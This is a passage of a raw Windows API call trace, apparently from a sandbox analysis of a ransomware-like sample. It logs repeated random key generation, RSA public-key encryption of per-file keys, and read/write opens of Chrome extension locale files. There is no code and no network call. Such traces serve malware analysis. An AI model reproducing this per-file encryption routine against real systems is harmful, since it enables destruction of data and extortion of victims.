CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c4f8) returned 1 [0235.835] CryptGetKeyParam (in: hKey=0x659c4f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.835] CryptEncrypt (in: hKey=0x659c4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8c20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8c20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.835] GetLastError () returned 0x0 [0235.835] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.835] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.837] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c078) returned 1 [0235.837] CryptGetKeyParam (in: hKey=0x659c078, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.837] CryptEncrypt (in: hKey=0x659c078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8c30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8c30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.837] GetLastError () returned 0x0 [0235.837] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.837] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.838] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.841] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.842] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.842] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.842] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.842] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.844] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.845] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.846] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.846] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.846] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0235.848] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c3b8) returned 1 [0235.848] CryptGetKeyParam (in: hKey=0x659c3b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.848] CryptEncrypt (in: hKey=0x659c3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8c40000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8c40000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.848] GetLastError () returned 0x0 [0235.848] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0235.848] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.851] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c7f8) returned 1 [0235.851] CryptGetKeyParam (in: hKey=0x659c7f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.851] CryptEncrypt (in: hKey=0x659c7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8c50000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8c50000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.851] GetLastError () returned 0x0 [0235.851] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.851] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.852] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.855] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.856] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.856] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.856] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.856] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.859] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.860] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.860] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.860] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.860] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.862] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c3f8) returned 1 [0235.862] CryptGetKeyParam (in: hKey=0x659c3f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.862] CryptEncrypt (in: hKey=0x659c3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8c60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8c60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.863] GetLastError () returned 0x0 [0235.863] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.863] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.865] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c438) returned 1 [0235.865] CryptGetKeyParam (in: hKey=0x659c438, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.865] CryptEncrypt (in: hKey=0x659c438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8c70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8c70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.865] GetLastError () returned 0x0 [0235.865] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.865] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.866] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.868] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.870] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.870] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.870] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.870] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.872] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.873] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.873] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.873] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.873] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.876] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c6f8) returned 1 [0235.876] CryptGetKeyParam (in: hKey=0x659c6f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.876] CryptEncrypt (in: hKey=0x659c6f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8c80000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8c80000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.876] GetLastError () returned 0x0 [0235.876] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.876] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.878] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c5f8) returned 1 [0235.878] CryptGetKeyParam (in: hKey=0x659c5f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.878] CryptEncrypt (in: hKey=0x659c5f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8c90000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8c90000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.878] GetLastError () returned 0x0 [0235.878] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.878] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.879] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.882] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.884] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.884] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.884] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.884] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.886] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.888] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.888] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.888] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.888] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.890] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c738) returned 1 [0235.890] CryptGetKeyParam (in: hKey=0x659c738, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.890] CryptEncrypt (in: hKey=0x659c738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8ca0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8ca0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.890] GetLastError () returned 0x0 [0235.890] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.890] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0235.892] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c778) returned 1 [0235.892] CryptGetKeyParam (in: hKey=0x659c778, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.892] CryptEncrypt (in: hKey=0x659c778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8cb0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8cb0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.892] GetLastError () returned 0x0 [0235.892] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0235.892] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.893] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.895] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.897] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.897] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.897] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.897] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.899] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.901] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.901] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.901] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.901] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.903] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c478) returned 1 [0235.903] CryptGetKeyParam (in: hKey=0x659c478, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.903] CryptEncrypt (in: hKey=0x659c478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8cc0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8cc0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.903] GetLastError () returned 0x0 [0235.903] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.903] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.905] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c2b8) returned 1 [0235.905] CryptGetKeyParam (in: hKey=0x659c2b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.905] CryptEncrypt (in: hKey=0x659c2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8cd0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8cd0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.906] GetLastError () returned 0x0 [0235.906] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.906] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.907] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.909] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.910] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.910] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.910] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.910] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.912] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.914] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.914] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.914] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.914] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.916] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c838) returned 1 [0235.916] CryptGetKeyParam (in: hKey=0x659c838, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.916] CryptEncrypt (in: hKey=0x659c838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8ce0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8ce0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.916] GetLastError () returned 0x0 [0235.916] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.916] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.918] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c5b8) returned 1 [0235.918] CryptGetKeyParam (in: hKey=0x659c5b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.918] CryptEncrypt (in: hKey=0x659c5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8cf0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8cf0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.918] GetLastError () returned 0x0 [0235.918] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.918] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.919] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.921] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.922] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.922] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.922] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.922] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.924] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.926] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.926] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.926] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.926] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.928] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c638) returned 1 [0235.928] CryptGetKeyParam (in: hKey=0x659c638, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.928] CryptEncrypt (in: hKey=0x659c638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8d00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8d00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.928] GetLastError () returned 0x0 